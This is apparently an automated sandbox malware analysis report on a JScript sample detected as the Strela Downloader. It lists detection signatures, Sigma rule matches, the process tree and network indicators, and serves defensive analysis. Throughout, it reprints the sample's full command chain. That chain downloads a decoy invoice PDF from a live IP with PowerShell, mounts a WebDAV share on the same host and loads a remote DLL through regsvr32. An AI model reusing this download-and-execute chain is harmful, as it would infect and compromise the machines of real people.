Edit tour

Windows Analysis Report
4328285711855619485.js

Overview

General Information

Sample name:	4328285711855619485.js
Analysis ID:	1588598
MD5:	f08c2cac48a20003b5e960f197e4d605
SHA1:	34258df7ec236d74152581b913e54725ee65a2cd
SHA256:	a641ffb874672b662ec5c868f2aba837176a669228cd6a0bf6885c4a0473152c
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 660 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4328285711855619485.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2820 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30941375311159.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6976 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 2564 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2024 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 2876 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1628,i,1415261473750801781,8800179272303295785,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 1876 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1692 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 2228 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 660	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30941375311159.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2820, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6976, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30941375311159.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2820, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6976, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4328285711855619485.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4328285711855619485.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4328285711855619485.js", ProcessId: 660, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30941375311159.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30941375311159.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4328285711855619485.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 660, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30941375311159.dll, ProcessId: 2820, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30941375311159.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30941375311159.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4328285711855619485.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 660, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30941375311159.dll, ProcessId: 2820, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30941375311159.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30941375311159.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4328285711855619485.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 660, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30941375311159.dll, ProcessId: 2820, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30941375311159.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30941375311159.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4328285711855619485.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 660, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30941375311159.dll, ProcessId: 2820, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30941375311159.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30941375311159.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4328285711855619485.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 660, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30941375311159.dll, ProcessId: 2820, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4328285711855619485.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4328285711855619485.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4328285711855619485.js", ProcessId: 660, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30941375311159.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2820, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6976, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1876, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1692, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2228, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1876, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1692, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30941375311159.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30941375311159.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4328285711855619485.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 660, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30941375311159.dll, ProcessId: 2820, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 4328285711855619485.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 4328285711855619485.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000002.1356529557.00000229EC009000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1356626830.00000229EDD30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1435063398.000001D6FF91C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1435063398.000001D6FF8F9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1413604785.000001D6FF91A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1419904338.000001D6FF8F9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1432669459.000001D6FF8C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1435063398.000001D6FF8F9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1419904338.000001D6FF8F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/n
Source: net.exe, 00000007.00000002.1432669459.000001D6FF8C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tce
Source: svchost.exe, 00000009.00000002.2649775884.0000027423E00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1419684655.0000027423CA0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 660, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30941375311159.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30941375311159.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 4328285711855619485.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/61@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2772:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2tcdijsw.h3u.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4328285711855619485.js"
